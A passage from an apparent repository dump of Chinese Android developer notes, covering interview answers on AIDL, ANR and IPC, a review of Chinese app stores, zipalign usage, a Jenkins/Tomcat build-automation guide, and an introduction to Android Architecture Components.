\n\t首先我们在net.blogjava.mobile.aidlservice包中创建一个RemoteService.aidl文件，在里面我们自定义一个接口，含有方法get。ADT插件会在gen目录下自动生成一个RemoteService.java文件，该类中含有一个名为RemoteService.stub的内部类，该内部类中含有aidl文件接口的get方法。\n\t说明一：aidl文件的位置不固定，可以任意\n\t然后定义自己的MyService类，在MyService类中自定义一个内部类去继承RemoteService.stub这个内部类，实现get方法。在onBind方法中返回这个内部类的对象，系统会自动将这个对象封装成IBinder对象，传递给他的调用者。\n\t其次需要在AndroidManifest.xml文件中配置MyService类，代码如下：\n\t<!-- 注册服务 -->  \n\t<service android:name=\".MyService\"> \n\t   <intent-filter> \n\t   <!--  指定调用AIDL服务的ID  --> \n\t\t   <action android:name=\"net.blogjava.mobile.aidlservice.RemoteService\" /> \n\t\t</intent-filter> \n\t</service>\n\t为什么要指定调用AIDL服务的ID,就是要告诉外界MyService这个类能够被别的进程访问，只要别的进程知道这个ID，正是有了这个ID,B工程才能找到A工程实现通信。\n\t说明：AIDL并不需要权限\n\tB工程：\n\t首先我们要将A工程中生成的RemoteService.java文件拷贝到B工程中，在bindService方法中绑定aidl服务\n\t绑定AIDL服务就是将RemoteService的ID作为intent的action参数。\n\t说明：如果我们单独将RemoteService.aidl文件放在一个包里，那个在我们将gen目录下的该包拷贝到B工程中。如果我们将RemoteService.aidl文件和我们的其他类存放在一起，那么我们在B工程中就要建立相应的包，以保证RmoteService.java文件的报名正确，我们不能修改RemoteService.java文件\n\t   bindService(new Inten(\"net.blogjava.mobile.aidlservice.RemoteService\"), serviceConnection, Context.BIND_AUTO_CREATE); \n\tServiceConnection的onServiceConnected(ComponentName name, IBinder service)方法中的service参数就是A工程中MyService类中继承了RemoteService.stub类的内部类的对象。\n46. 请解释下Android程序运行时权限与文件系统权限的区别。           \n\t运行时权限Dalvik( android授权) \n\t文件系统 linux 内核授权\n47. 系统上安装了多种浏览器，能否指定某浏览器访问指定页面？请说明原由。          \n\t通过直接发送Uri把参数带过去，或者通过manifest里的intentfilter里的data属性\n48. 你如何评价Android系统？优缺点。           \n\t答：Android平台手机 5大优势： \n\t- 开放性 \n\t\t在优势方面，Android平台首先就是其开发性，开发的平台允许任何移动终端厂商加入到Android联盟中来。显著的开放性可以使其拥有更多的开发者，\n\t\t随着用户和应用的日益丰富，一个崭新的平台也将很快走向成熟。开放性对于Android的发展而言，有利于积累人气，这里的人气包括消费者和厂商，\n\t\t而对于消费者来讲，随大的受益正是丰富的软件资源。开放的平台也会带来更大竞争，如此一来，消费者将可以用更低的价位购得心仪的手机。\n\t- 挣脱运营商的束缚 \n\t\t在过去很长的一段时间，特别是在欧美地区，手机应用往往受到运营商制约，使用什么功能接入什么网络，几乎都受到运营商的控制。从去年iPhone 上市 ，\n\t\t用户可以更加方便地连接网络，运营商的制约减少。随着EDGE、HSDPA这些2G至3G移动网络的逐步过渡和提升，手机随意接入网络已不是运营商口中的笑谈，\n\t\t当你可以通过手机IM软件方便地进行即时聊天时，再回想不久前天价的彩信和图铃下载业务，是不是像噩梦一样？互联网巨头Google推动的Android终端天生就有网络特色，\n\t\t将让用户离互联网更近。\n\t- 丰富的硬件选择 \n\t\t这一点还是与Android平台的开放性相关，由于Android的开放性，众多的厂商会推出千奇百怪，功能特色各具的多种产品。功能上的差异和特色，\n\t\t却不会影响到数据同步、甚至软件的兼容，好比你从诺基亚 Symbian风格手机 一下改用苹果 iPhone ，同时还可将Symbian中优秀的软件带到iPhone上使用、\n\t\t联系人等资料更是可以方便地转移，是不是非常方便呢？\n\t- 不受任何限制的开发商 \n\t\tAndroid平台提供给第三方开发商一个十分宽泛、自由的环境，不会受到各种条条框框的阻扰，可想而知，会有多少新颖别致的软件会诞生。但也有其两面性，血腥、暴力、情色方面的程序和游戏如可控制正是留给Android难题之一。\n\t- 无缝结合的Google应用 \n\t\t如今叱诧互联网的Google已经走过10年度历史，从搜索巨人到全面的互联网渗透，Google服务如地图、邮件、搜索等已经成为连接用户和互联网的重要纽带，\n\t\t而Android平台手机将无缝结合这些优秀的Google服务。            \n\n\t再说Android的5大不足：\n\t- 安全和隐私 \n\t\t由于手机 与互联网的紧密联系，个人隐私很难得到保守。除了上网过程中经意或不经意留下的个人足迹，Google这个巨人也时时站在你的身后，\n\t\t洞穿一切，因此，互联网的深入将会带来新一轮的隐私危机。\n\t- 首先开卖Android手机的不是最大运营商 \n\t\t众所周知，T-Mobile在23日，于美国纽约发布 了Android首款手机G1。但是在北美市场，最大的两家运营商乃AT&T和Verizon，\n\t\t而目前所知取得Android手机销售权的仅有 T-Mobile和Sprint，其中T-Mobile的3G网络相对于其他三家也要逊色不少，因此，用户可以买账购买G1，\n\t\t能否体验到最佳的3G网络服务则要另当别论了！\n\t- 运营商仍然能够影响到Android手机 \n\t\t在国内市场，不少用户对购得移动定制机不满，感觉所购的手机被人涂画了广告一般。这样的情况在国外市场同样出现。\n\t\tAndroid手机的另一发售运营商Sprint就将在其机型中内置其手机商店程序。\n\t- 同类机型用户减少 \n\t\t在不少手机论坛都会有针对某一型号的子论坛，对一款手机的使用心得交流，并分享软件资源。而对于Android平台手机，由于厂商丰富，\n\t\t产品类型多样，这样使用同一款机型的用户越来越少，缺少统一机型的程序强化。举个稍显不当的例子，现在山寨机泛滥，品种各异，\n\t\t就很少有专门针对某个型号山寨机的讨论和群组，除了哪些功能异常抢眼、颇受追捧的机型以外。\n\t- 过分依赖开发商缺少标准配置 \n\t\t在使用PC端的Windows Xp系统的时候，都会内置微软Windows Media Player这样一个浏览器程序，用户可以选择更多样的播放器，\n\t\t如Realplay或暴风影音等。但入手开始使用默认的程序同样可以应付多样的需要。在 Android平台中，由于其开放性，软件更多依赖第三方厂商，\n\t\t比如Android系统的SDK中就没有内置音乐 播放器，全部依赖第三方开发，缺少了产品的统一性。\n49. 什么是ANR 如何避免它?               \n　　答：ANR：Application Not Responding，五秒 \n\t在Android中，活动管理器和窗口管理器这两个系统服务负责监视应用程序的响应。当出现下列情况时，Android就会显示ANR对话框了：        \n\t对输入事件(如按键、触摸屏事件)的响应超过5秒     \n\t意向接受器(intentReceiver)超过10秒钟仍未执行完毕 \n\tAndroid应用程序完全运行在一个独立的线程中(例如main)。这就意味着，任何在主线程中运行的，需要消耗大量时间的操作都会引发ANR。\n\t因为此时，你的应用程序已经没有机会去响应输入事件和意向广播(Intent broadcast)。          \n\t因此，任何运行在主线程中的方法，都要尽可能的只做少量的工作。特别是活动生命周期中的重要方法如onCreate()和 onResume()等更应如此。\n\t潜在的比较耗时的操作，如访问网络和数据库;或者是开销很大的计算，比如改变位图的大小，需要在一个单独的子线程中完成(或者是使用异步请求，如数据库操作)。\n\t但这并不意味着你的主线程需要进入阻塞状态已等待子线程结束 -- 也不需要调用Therad.wait()或者Thread.sleep()方法。\n\t取而代之的是，主线程为子线程提供一个句柄(Handler)，让子线程在即将结束的时候调用它(xing:可以参看Snake的例子，这种方法与以前我们所接触的有所不同)。\n\t使用这种方法涉及你的应用程序，能够保证你的程序对输入保持良好的响应，从而避免因为输入事件超过5秒钟不被处理而产生的ANR。\n\t这种实践需要应用到所有显示用户界面的线程，因为他们都面临着同样的超时问题。 \n50. 什么情况会导致Force Close ?如何避免?能否捕获导致其的异常?           \n\t答：一般像空指针啊，可以看起logcat，然后对应到程序中 来解决错误 \n　　\n51. 如何将SQLite数据库(dictionary.db文件)与apk文件一起发布?             \n\t解答：可以将dictionary.db文件复制到Eclipse Android工程中的res aw目录中。所有在res aw目录中的文件不会被压缩，这样可以直接提取该目录中的文件。\n\t可以将dictionary.db文件复制到res aw目录中 \n52. 如何将打开res aw目录中的数据库文件?            \n\t解答：在Android中不能直接打开res aw目录中的数据库文件，而需要在程序第一次启动时将该文件复制到手机内存或SD卡的某个目录中，然后再打开该数据库文件。复制的基本方法是使用getResources().openRawResource方法获得res aw目录中资源的 InputStream对象，然后将该InputStream对象中的数据写入其他的目录中相应文件中。\n\t在Android SDK中可以使用SQLiteDatabase.openOrCreateDatabase方法来打开任意目录中的SQLite数据库文件。 \n53. Android引入广播机制的用意?            \n\t- 从MVC的角度考虑(应用程序内) \n　\t\t其实回答这个问题的时候还可以这样问，android为什么要有那4大组件，现在的移动开发模型基本上也是照搬的web那一套MVC架构，只不过是改了点嫁妆而已。\n\t\tandroid的四大组件本质上就是为了实现移动或者说嵌入式设备上的MVC架构，它们之间有时候是一种相互依存的关系，有时候又是一种补充关系，\n\t\t引入广播机制可以方便几大组件的信息和数据交互。 \n\t- 程序间互通消息(例如在自己的应用程序内监听系统来电) \n\t- 效率上(参考UDP的广播协议在局域网的方便性) \n\t- 设计模式上(反转控制的一种应用，类似监听者模式)\n54. Android dvm的进程和Linux的进程, 应用程序的进程是否为同一个概念          \n\tDVM指dalivk的虚拟机。每一个Android应用程序都在它自己的进程中运行，都拥有一个独立的Dalvik虚拟机实例。而每一个DVM都是在Linux 中的一个进程，\n\t所以说可以认为是同一个概念。 \n55.\t说说mvc模式的原理，它在android中的运用            \n\tMVC(Model_view_contraller)”模型_视图_控制器”。 MVC应用程序总是由这三个部分组成。Event(事件)导致Controller改变Model或View，或者同时改变两者。\n\t只要 Controller改变了Models的数据或者属性，所有依赖的View都会自动更新。类似的，只要Contro \n56. DDMS和TraceView的区别?           \n\tDDMS是一个程序执行查看器，在里面可以看见线程和堆栈等信息，TraceView是程序性能分析器 。\n57. java中如何引用本地语言               \n\t可以用JNI（java native interface  java 本地接口）接口 。\n58. 谈谈Android的IPC（进程间通信）机制                \n\tIPC是内部进程通信的简称， 是共享\"命名管道\"的资源。Android中的IPC机制是为了让Activity和Service之间可以随时的进行交互，故在Android中该机制，\n\t只适用于Activity和Service之间的通信，类似于远程方法调用，类似于C/S模式的访问。通过定义AIDL接口文件来定义IPC接口。Servier端实现IPC接口，\n\tClient端调用IPC接口本地代理。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck!\n\n"
  },
  {
    "path": "docs/android/AndroidNote/AppPublish/Android应用发布.md",
    "content": "Android应用发布\n===\n需要身份证扫描件、手持身份证正面照、图标(96x96、512x512)、应用截图(一般480x800,6张)进行每个网站的开发者注册(需要审核，有的比较慢，尽量提前审核)\n\n- **[GooglePlay](https://play.google.com/apps/publish)自动审核，速度很快，但是要上缴25刀**\n- **[腾讯开发平台](http://open.qq.com/?from=tap)史上最好，没有之一、快、大，腾讯帝国根深蒂固**\n- **[淘宝手机助手](http://app.taobao.com)很快，每次他都是首发...，但是需要jpg格式的截图和图标，十八罗汉速度非凡**\n- **[360应用开发平台](http://open.app.360.cn/)实力不容小视,但是对广告审核很严，感觉不是很好**\t\n- **[百度开发者中心(关联安卓及91)](http://developer.baidu.com/)这个不多说了，都是泪，各种麻烦、各种慢、各种不合理，众里寻他千百度，他想几度就几度**\t  \n- **[安卓市场](http://dev.apk.hiapk.com/login)特别慢，百度上了，他各种理由不给上。**\t \n- **[91](http://market.sj.91.com/Users/Login.aspx?ReturnUrl=%2fDefault.aspx)慢，不说了，三家市场不如别人一家**\t \n- **[豌豆荚开发者中心](http://developer.wandoujia.com)还不错,账号用了手机号**\t  \n- **[安智市场](http://dev.anzhi.com/)账号不是邮箱，而是账号名,不支持广告**\n- **[机锋](http://dev.gfan.com/)必须用机锋的广告，太霸道了**\t\t\n- **[木蚂蚁](http://dev.mumayi.com/index/)需要在有米广告中加入木蚂蚁的渠道号**\n- **[小米](http://developer.xiaomi.com)**\n- **[优亿市场](http://dev.eoemarket.com/)账号是用户名不是邮箱**\n- **[10086](http://dev.10086.cn/)密码最后一位是***\n- **[魅族](http://developer.meizu.com)风格独特要做适配**\n- **[易用汇](http://www.anzhuoapk.com)**\n- **[天翼开发平台](http://open.189.cn/)**\n- **[易优市场](http://www.eomarket.com/developer)**\n- **[安极市场](apk.angeeks.com)**\n- **[3G安卓市场](http://dev.3g.cn/)**\n- **[N多市场](http://www.nduoa.com/developer)**\n- **[安卓星空](http://dev.liqucn.com/index.php?m=member&c=index&a=login)**\n- **[搜狐应用市场](http://admin.app.sohu.com/platform/index)账号为搜狐邮箱**\n- **[沃商城](http://dev.wo.com.cn/index.action)**\n\n\n做死系列\n- **[应用汇](http://dev.appchina.com/)貌似已经不收录个人应用，也不说明一下，等你提交后就说不收录该类内容**\n- **[网讯安卓应用市场](http://dev.51vapp.com/)(要软件著作权，不然通过不了)**\n- **[联想](http://developer.lenovomm.com)很难发布，他会把你定位成劣质应用，好吧，劣质公司，你看你吧ThinkPad弄成什么样了**\n- **[华为](http://developer.huawei.com/)不收录个人应用**\n- **[网易](http://m.163.com/android/)灰常垃圾，等你全部弄好后还要加他QQ让他审核，完了他会告诉你我们不接受个人应用，不做死就不会死**\n- **[京东](http://play.jd.com/download/)不好好卖东西，整个应用市场，又没人管理**\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/AppPublish/Zipalign优化.md",
    "content": "Zipalign优化\n===\n\n`Zipalign`优化工具是`SDK`中自带的优化工具,在`android-sdk-windows\\build-tools\\23.0.1`，在我们上传`Google Pay`的时候都会遇到您上传的`Apk`没有经过`Zipalign`处理\n的失败提示，就是说如果你的`apk`没有使用`zipalign`优化，那`google play`是拒绝给你上架的，从这里能看出`zipalign`优化是多么滴重要。\n\n```\nzipalign is an archive alignment tool that provides important optimization to Android application (.apk) files. \nThe purpose is to ensure that all uncompressed data starts with a particular alignment relative to the start of the file. \nSpecifically, it causes all uncompressed data within the .apk, such as images or raw files, to be aligned on 4-byte boundaries. \nThis allows all portions to be accessed directly with mmap() even if they contain binary data with alignment restrictions. \nThe benefit is a reduction in the amount of RAM consumed when running the application.\n```\n                           \n```\nCaution: zipalign must only be performed after the .apk file has been signed with your private key. \nIf you perform zipalign before signing, then the signing procedure will undo the alignment. \nAlso, do not make alterations to the aligned package. \nAlterations to the archive, such as renaming or deleting entries, \nwill potentially disrupt the alignment of the modified entry and all later entries. \nAnd any files added to an \"aligned\" archive will not be aligned.\n```\n\n大意就是它提供了一个灰常重要滴功能来确保所有未压缩的数据都从文件的开始位置以指定的4字节对齐方式排列，例如图片或者\n`raw`文件。当然好处也是大大的，就是能够减少内存的资源消耗。最后他还特意提醒了你一下就是已经在对`apk`签完名之后再用`zipalign`\n优化，如果你在之前用，那无效。\n\n废多看用法:      \n\n- 首先我要检查下我的`apk`到底用没用过`zipalign`优化呢?                                   \n    `zipalign -c -v 4 test.apk`                      \n    这个4是神马呢？就是４个字节的队列方式                                          \n    命令一顿执行，然后打出来了`Verification failed`，我不想再解释了。\n\t\n- \t如何使用?                                \n    `zipalign -f -v 4 test.apk zip.apk`                             \n\t就是把当前的`test.apk`使用`zipalign`优化，优化完成后的是`zip.apk`\n\t\nFlag:     \n\n- -f : overwrite existing outfile.zip\n- -v : verbose output\n- -c : confirm the alignment of the given file\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/AppPublish/使用Jenkins实现自动化打包.md",
    "content": "使用Jenkins实现自动化打包\n===\n\n[Jenkins](https://jenkins.io/)个开源的持续集成工具，不仅可以用来进行`Android`打包，也可以用来进行`iOS`打包、`NodeJs`打包、`Java`服务打包等。\n\n> The leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project.\n\n`Jenkins`是使用`Java`开发的，官方提供一个`war`包，并且自带`servlet`容器，可以独立运行也可以放在`Tomcat`中运行。当然它也提供了`mac`等客户端，可以直接下载。 \n因为一般我们都是将其部署到服务器上，所以这里就用下载`jenkins.war`放到`Tomcat`的方式来讲解。 \n\n\n安装Tomcat\n---\n\n去[Tomcat](https://tomcat.apache.org/)官网下载最新的安装包，安装完成后启动`tomcat`.\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/tomcat_org.png\" width=\"100%\" height=\"100%\">\n\n\n安装启动都很简答，就是下载后解压，然后打开`terminal`进入解压后的目录下的`bin`目录，然后执行`startup`命令:\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/tomcat_start.png\" width=\"100%\" height=\"100%\">\n\n可以看到上面我执行`./startup.sh`时提示权限问题了，这是因为用户没有权限导致无法运行，需要要`chmod`修改`bin`目录下`.sh`的权限。\n修改完权限后启动就可以了，看到提示启动成功后，我们可以在浏览器输入`http://localhost:8080`，如果能显示出来可爱的小喵咪，那就说明启动成功了。         \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/tomcat_startpage.png\" width=\"100%\" height=\"100%\">\n\n有关`tomcat`更多的信息就不介绍了，一般在`javaweb`的学习过程中都会学到。    \n\n部署Jenkins到Tomcat\n---\n\n去[Jenkins官网](https://jenkins.io/)进行下载，然后选择意向版本的`.war`包\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_download_list.png\" width=\"100%\" height=\"100%\">\n\n把下载后的`war`包放在本地`tomcat`目录下的`webapps`目录下。   \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_tomcat.png\" width=\"100%\" height=\"100%\">\n\n然后在浏览器中访问`http://localhost:8080/jenkins/`，如果看到以下界面，代表已经成功部署了.  \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_startpage.png\" width=\"100%\" height=\"100%\">\n\n启动完成后会提示输入一个密码，上面有路径，我们直接进去打开拷贝就可以了。  \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_secret_code.png\" width=\"100%\" height=\"100%\">\n\n按照上面的路径，进入拷贝.\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/get_secret_code.png\" width=\"100%\" height=\"100%\">\n\n然后会出现安装选择页面，我们选择默认的配置就可以。       \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_install.png\" width=\"100%\" height=\"100%\">\n\n然后就会出现以下界面，我们等待安装就可以了，这个安装过程会灰常慢。 我们也可以看到他会安装`ant、gradle、git、svn、email`等插件。  \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_installing.png\" width=\"100%\" height=\"100%\">\n\n等安装完成后会看到用户名设置界面。      \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_set_user.png\" width=\"100%\" height=\"100%\">\n\n好了，大功告成，开始使用后的页面如下:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_first_page.png\" width=\"100%\" height=\"100%\">\n\n那就开始创建一个项目的项目:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_demo.png\" width=\"100%\" height=\"100%\">\n \n创建后就会进入到项目设置页面:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_setting_general.png\" width=\"100%\" height=\"100%\">\n\n然后我们去设置源码管理，配置好分支和项目地址:     \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_source_manager.png\" width=\"100%\" height=\"100%\">\n\n下面点击证书后面的`add`进行添加，然后选择用用户名和密码的登录方式，输入用户名和密码:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_username_psw.png\" width=\"100%\" height=\"100%\">\n\n然后继续进行设置构建部分，因为`android`打包需要使用`Gradle`所以，我们选择使用`Gradle`然后进行配置`Gradle`:    \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_gradle_setting.png\" width=\"100%\" height=\"100%\">\n\n然后设置`Gradle`版本:        \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_gradle_setting2.png\" width=\"100%\" height=\"100%\">\n\n这里你会发现没有`Gradle`版本，这是因为我们没有去配置`Gradle`导致的，因为`android`打包需要`Gradle`和`JDK`所以我们要先去配置下他俩，\n进入到`jenkins`首页选择系统管理-全局工具配置:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_gradle_install.png\" width=\"100%\" height=\"100%\">\n\n里面的`jdk`和`gradle`都可以选择在线安装，如果`jdk`使用在线安装的话需要输入`oracle`账号的的用户名和密码。\n配置弯沉恭候，再回到刚才创建的`JenkisDemo`项目的配置页面继续进行构建配置:    \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_setting_3.png\" width=\"100%\" height=\"100%\">\n\n然后就可以选择我们刚才新添加的`gradle`版本了:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_gradle_version_choose.png\" width=\"100%\" height=\"100%\">\n\n然后再`Tasks`里面输入对应的`Task`命令就可以了。\n\n在里面构建后操作中选择增加构建后操作步骤，可以选择构建完后自动发邮件等。      \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/build_over_operation.png\" width=\"100%\" height=\"100%\">\n\n到这里就配置完了，下面直接执行项目里面的立即构建就可以自动打包了。   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_build_start.png\" width=\"100%\" height=\"100%\">\n\n但是报错了，我们点本次构建列表中点入，再点击控制台输出可以查看详细的错误信息，提示说需要配置`SDK`,前面只配置了`jdk`忘了配置`sdk`了       \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_failed_msg.png\" width=\"100%\" height=\"100%\">\n\n打开系统管理-系统设置然后在全局变量-环境变量中增加`Android_home`配置:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_android_home.png\" width=\"100%\" height=\"100%\">\n \n好了，这样就可以了。 \n\n但是我们再打包的时候不仅仅是想这样打一个简单的版本，而是想配置一下参数，来满足一些版本号，渠道等的需求。\n我们可以来到项目的设置页面，选择参数化构建过程-添加参数-选择选项参数等进行添加:   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_demo_setting.png\" width=\"100%\" height=\"100%\">\n\n可以配置`APP_VERSION`、`BUILD_TIME`、`PRODUCT_FLAVORS`、`BUILD_TYPE`等  \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_build_product.png\" width=\"100%\" height=\"100%\">\n\n\n注意这里配置完成后，还要去在`gradle task`中去使用才可以(在命令后面加上配置的参数)：   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_build_add_mingling.png\" width=\"100%\" height=\"100%\">\n\n好了，配置完成后再返回到项目首页你就会发现之前的立即构建变成了`Build with Parameters`，点击它就可以直接构建了。  \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/jenkins_build_change_name.png\" width=\"100%\" height=\"100%\">\n\n打包完成后可以自动放到服务器目录中，通过`tomcat`提供链接对外下载，也可以发邮件、生成二维码等。这里就不仔细介绍了。\n`jenkins`可以让我们更自由的进行配置，操作，也可以通过`shell`脚本等进行更加深度的定制，提高了开发中打包的效率。  \n\n而且`Jenkins`还提供了很多静态代码分析检查的插件，可以直接去集成使用[Static Code Analysis Plug-ins](Static Code Analysis Plug-ins)\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/1.简介(一).md",
    "content": "简介(一)\n===\n\n应用开发者面临的常见问题\n---\n\n在大多数情况下，桌面应用程序在启动器快捷方式中有一个单一的入口并且作为单独的独立进程运行，与桌面应用程序不同的是`Android`应用具有更复杂的结构。一个典型的`Android`应用是由多个应用程序组件构成的，包括`activity`，`fragment`，`service`，`content provider`和`broadcast receiver`。\n这些应用程序组件中的大部分声明在`manifest.xml`文件中，用来决定如何将应用融入到用户设备的整体体验中。尽管如前所述，传统的桌面应用程序作为独立进程运行，但是正确的编写`Android`应用程序需要更加灵活，因为用户会同过设备上不同的应用程序组织成自己的方式不断切换流程和任务。\n例如，考虑下在你喜欢的社交网络应用中分享照片时会发生什么。该应用会触发一个启动相机的`intent`，从该`intent`会启动一个相机应用来处理这个请求。在此刻，用户离开社交网络应用但是用户的体验是无缝的。相机应用转而可能会触发其它的`intent`例如启动文件选择器，这可能会启动另一个应用。最终用户回到社交网络应用并且分享照片。此外，在这个过程中的任何时刻用户都有可能会被一个电话打断，并且在结束通话后再回来继续分享照片。\n在`Android`中，这种应用切换行为很常见，所以你的应用程序必须正确处理这些流程。记住，移动设备的资源是有限的，所以在任何时候，操作系统都可能会杀死一些应用为新的应用腾出空间。\n其中的重点是应用程序组件可能会被单独和无序的启动，并且可能会被用户或系统在任何时候销毁。因为应用程序组件是短暂的，并且其声明周期（什么时候被创建和销毁）不受你控制，所以不应该在应用程序组件中存储任何应用数据或状态，同时应用程序组件不应该相互依赖。\n\n通用的框架准则官方建议在架构`App`的时候遵循以下两个准则:  \n\n- 关注分离          \n\n    其中早期开发`App`最常见的做法是在`Activity`或者`Fragment`中写了大量的逻辑代码，导致`Activity`或`Fragment`中的代码很臃肿，十分不易维护。现在很多`App` 开发者都注意到了这个问题，所以前两年`MVP`结构就非常有市场，目前普及率也很高。\n\n- 模型驱动`UI`       \n\n    模型持久化的好处就是:即使系统回收了`App`的资源用户也不会丢失数据，而且在网络不稳定的情况下`App`依然可以正常地运行。从而保证了`App`的用户体验。\n\n\n面对越来越复杂的`App`需求，`Google`官方发布了`Android`框架组件库`(Android Architecture Components)`使`App`的架构更加健壮。\n\n\n[Android Architecture Components](https://developer.android.com/topic/libraries/architecture/)       \n[googlesamples/android-architecture-components](https://github.com/googlesamples/android-architecture-components)\n\n> A collection of libraries that help you design robust, testable, and maintainable apps. Start with classes for managing your UI component lifecycle and handling data persistence.\n\n\n`Android Architecture Components`,简称`AAC`意思就是一个处理`UI`的生命周期 与数据的持久化的架构\n\n- 一个全新的库集合，可帮助您设计强大，可测试和可维护的应用程序。用于管理`UI`组件生命周期和处理数据持久性。\n- 便捷管理`App`的声明周期:新的生命周期感知(`lifecycle-aware`)组件可帮助您管理`Activity`和`Fragment`的生命周期。存储配置改变，避免内存泄漏，并使用`LiveData`，`ViewModel`，`LifecycleObserver`和`LifecycleOwner`轻松将数据加载到UI中。\n- `Room`:一个`SQLite`对象映射库\n\n\n平时我们比较熟悉的的架构有`MVC`,`MVP`及`MVVM`.这些结构有各自的优缺点,以现在比较流行的`MVP`为例, 它将不是关于界面的操作分发到`Presenter`中操作,再将结果通知给`View`接口的实现(通常是 `Activity/Fragment`).\n\n这些结构有各自的优缺点, 以现在比较流行的`MVP`为例, 它将不是关于界面的操作分发到`Presenter`中操作,再将结果通知给`View`接口的实现(通常是`Activity/Fragment`).\n`MVP`架构,当异步获取结果时,可能`UI`已经销毁,而`Presenter`还持有`UI`的引用,从而导致内存泄漏\n\n\n```kotlin\nfun getName() {\n    ExecutorServiceManager.getInstance().execute(Runnable {\n        try {\n            TimeUnit.SECONDS.sleep(5)\n        } catch (e: InterruptedException) {\n            e.printStackTrace()\n        }\n\n        if (iView != null) {\n            iView.setName(\"siyehua\")\n        }\n    })\n}\n```\n\n以上代码,`iView`的具体实现是`Activity`,当`Activity`已经执行了`onDestroy()`方法,此时`Runnable`还在获取数据,就会导致内存泄漏.\n通常的做法是在给`Presenter`定义一个方法,当`Activity`销毁的时候同时移除对`iView`的引用,完整代码如下:  \n```kotlin\nclass PersonPresenter(private var iView: IView?) : IPresenter {\n    fun getName() {\n        ExecutorServiceManager.getInstance().execute(Runnable {\n            try {\n                TimeUnit.SECONDS.sleep(5)\n            } catch (e: InterruptedException) {\n                e.printStackTrace()\n            }\n\n            if (iView != null) {\n                iView!!.setName(\"siyehua\")\n            }\n        })\n    }\n\n    fun removeView() {\n        iView = null\n    }\n} \n```\n\n在`Activity`中,代码调用如下:   \n\n```kotlin\noverride fun onDestroy() {\n    //不移除 View 有可能导致内存泄漏 \n    personPresenter.removeView()\n    super.onDestroy()\n}\n```\n\n至此,即可解决`MVP`内存泄漏的问题，但是这么做不够优雅,需要手动管理`Presenter`,当然可以定义基类写入到`BaseActivity`中.\n除了有可能引发内存泄漏的风险, 数据持久化也是一个经常困扰我们的问题.通常在屏幕旋转后,`UI`的对象都会被销毁重建,这将导致原来的对象数据不得不重新创建和获取,浪费资源的同时也会影响用户的体验.\n通常的解决方法是,通过`SavedInstanceState`来存取数据,但`SavedInstanceState`存储的数据一般比较小,且数据对象还是必须重新构建.   \n\n\n\n上述两个问题可以通过使用`AAC`架构解决.\n\n\n`AAC`主要提供了`Lifecycle`，`ViewModel`，`LiveData`，`Room`等功能，下面依次说明:   \n\n- `Lifecycle`:生命周期管理，把原先`Android`生命周期的中的代码抽取出来，如将原先需要在`onStart()`等生命周期中执行的代码分离到`Activity`或者`Fragment`之外。\n- `LiveData`:一个数据持有类，持有数据并且这个数据可以被观察被监听，和其他`Observer`不同的是，它是和`Lifecycle`是绑定的，在生命周期内使用有效，减少内存泄露和引用问题。\n- `ViewModel`:用于实现架构中的`ViewModel`，同时是与`Lifecycle`绑定的，使用者无需担心生命周期。可以在多个`Fragment`之间共享数据，比如旋转屏幕后`Activity`会重新`create`，这时候使用`ViewModel`还是之前的数据，不需要再次请求网络数据。\n- `Room`:谷歌推出的一个`Sqlite ORM`库，不过使用起来还不错，使用注解，极大简化数据库的操作，有点类似`Retrofit`的风格。\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/final-architecture.png\" width=\"100%\" height=\"100%\">\n\n\n- `Activity/Fragment`      \n    `UI`层，通常是`Activity/Fragment`等，监听`ViewModel`，当`ViewModel`数据更新时刷新`UI`，监听用户事件反馈到`ViewModel`，主流的数据驱动界面。\n\n- `ViewModel`      \n    持有或保存数据，向`Repository`中获取数据，响应`UI`层的事件，执行响应的操作，响应数据变化并通知到`UI`层。\n\n- `Repository`      \n    